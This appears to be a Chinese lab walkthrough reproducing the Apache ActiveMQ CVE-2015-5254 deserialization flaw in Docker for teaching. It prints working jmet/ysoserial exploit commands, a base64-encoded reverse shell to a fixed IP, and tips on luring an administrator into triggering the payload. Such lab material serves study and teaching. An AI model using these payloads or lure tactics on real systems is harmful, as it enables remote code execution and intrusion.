• 现在打靶都是 Docker 了,老人家也与时俱进一下,正好可以上课和学生演示使用,适当挖坑QAQ。

漏洞说明

  • Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。
  • Apache ActiveMQ 5.13.0 之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。
  • 远程攻击者可借助特制的序列化的 Java Message Service ObjectMessage 对象利用该漏洞执行任意代码。

漏洞环境

  • 运行漏洞环境:
1
2
cd activemq/CVE-2015-5254
docker-compose up -d
  • 环境运行后,将监听 61616 和 8161 两个端口。

    • 61616:工作端口,消息在这个端口进行传递;
    • 8161:Web 管理页面端口(默认账密:admin/admin)。
  • 访问 http://your-ip:8161 即可看到 Web 管理页面,不过这个漏洞理论上是不需要 Web 的:

  • 限制条件

    • 版本符合 < 5.x
    • 立即执行代码:能够有弱密码登录查看消息队列
    • 没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)

漏洞复现

  • 漏洞利用过程如下:

    1. 构造(可以使用 ysoserial)可执行命令的序列化对象;
    2. 作为一个消息,发送到目标 61616 端口;
    3. 访问 Web 管理页面,读取消息,触发漏洞。
  • 使用 jmet 进行漏洞利用,首先下载 jmet 的 jar 文件,并在同目录下创建一个 external 文件夹(否则可能会爆文件夹不存在的错误)。

下载地址:https://github.com/matthiaskaiser/jmet

  • jmet 原理是使用 ysoserial 生成 Payload 并发送(其 jar 内自带 ysoserial 无需再自己下载),所以我们需要在 ysoserial 是 gadget 中选择一个可以使用的,比如:ROME。

  • 攻击命令如下:

1
2
3
4
5
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.1.151 61616

INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:Lenovo-Yongz-12615-1677225915731-0:1
INFO d.c.j.t.JMSTarget [main] Sent gadget "ROME" with command: "touch /tmp/success"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:Lenovo-Yongz-12615-1677225915731-0:1
  • 上述命令完成后,会给目标 ActiveMQ 添加一个名为 event 的队列,我们可以通过如下 URL 看到这个队列中所有消息:
1
http://192.168.1.151:8161/admin/browse.jsp?JMSDestination=event
  • 假设我们现在是管理员,在毫不知情的情况下,还是像往常一样打开以下链接查看事件,弹框输入账密(admin/admin),查看出现的事件:

image-20230831095954509

  • 点击之后,出现如下页面,这下咱们的 payload 就执行了,向 ActiveMQ 的 /tmp 下面写入一个文件 success:

image-20230831100008734

  • 进入 docker 容器看一看:
1
2
3
4
5
6
docker exec -it cve-2015-5254-activemq-1 /bin/bash

root@bebd44a230d6:/opt/apache-activemq-5.11.1# cd /tmp

root@bebd44a230d6:/tmp# ls
hsperfdata_root success
  • 成功执行,将命令替换成弹 shell 语句再利用:
1
2
3
4
5
6
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.1.1/6666 0>&1" -Yp ROME 192.168.1.151 61616

# 但直接用上述代码是无法反弹的需要对 shell 语句进行编码
bash -i >& /dev/tcp/192.168.1.1/6666 0>&1 -> YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82NjY2IDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.1.151 61616

image-20230831100027195

image-20230831100030476

  • 成功反弹~,但值得注意的是,通过 web 管理页面访问消息并触发漏洞这个过程需要管理员权限。
  • 在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。